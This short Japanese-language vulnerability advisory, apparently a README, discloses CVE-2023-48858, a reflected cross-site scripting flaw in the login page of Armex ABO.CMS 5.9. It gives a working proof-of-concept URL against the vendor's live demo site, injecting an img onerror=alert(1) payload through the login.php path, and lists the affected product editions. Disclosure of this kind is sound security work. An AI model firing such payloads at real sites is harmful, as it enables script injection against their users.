CVE-2023-48858

CVE-2023-48858 の PoC

Armex ABO.CMS 5.9 のログインページの PHP コードにおけるクロスサイトスクリプティング (XSS) の脆弱性により、リモートの攻撃者が login.php? の URL 部分を介して任意の Web スクリプトまたは HTML を注入できる可能性があります。

Proof of Concept:
http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y

これは特に「デモ」バージョンの脆弱性ではなく、実際にネットに公開された実サイトで 実環境で確認されました
ここで使用したデモへのリンクは、この脆弱性が存在し続けていることを示すためのものです

脆弱性の種類:
クロスサイトスクリプティング (XSS)

製品のベンダー:
Armex Programming Products (INN 7722635725)

(推定される) 影響を受ける製品:
ABO.CMS: Start - 5.9
ABO.CMS: Promo - 5.9
ABO.CMS: Corporative - 5.9
ABO.CMS: Shop - 5.9
ABO.CMS: Business - 5.9
ABO.CMS: Bank - 5.9

この問題は login.php ページで発見されたため、それを使用する (ログイン機能を持つ) すべてのバージョンが影響を受けるはずです。また、個人的には ABO.CMS の次期バージョンでこの脆弱性を修正するために何かが変わるとは思っていません

参考:
https://abocms.ru/about/versions/version59/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48858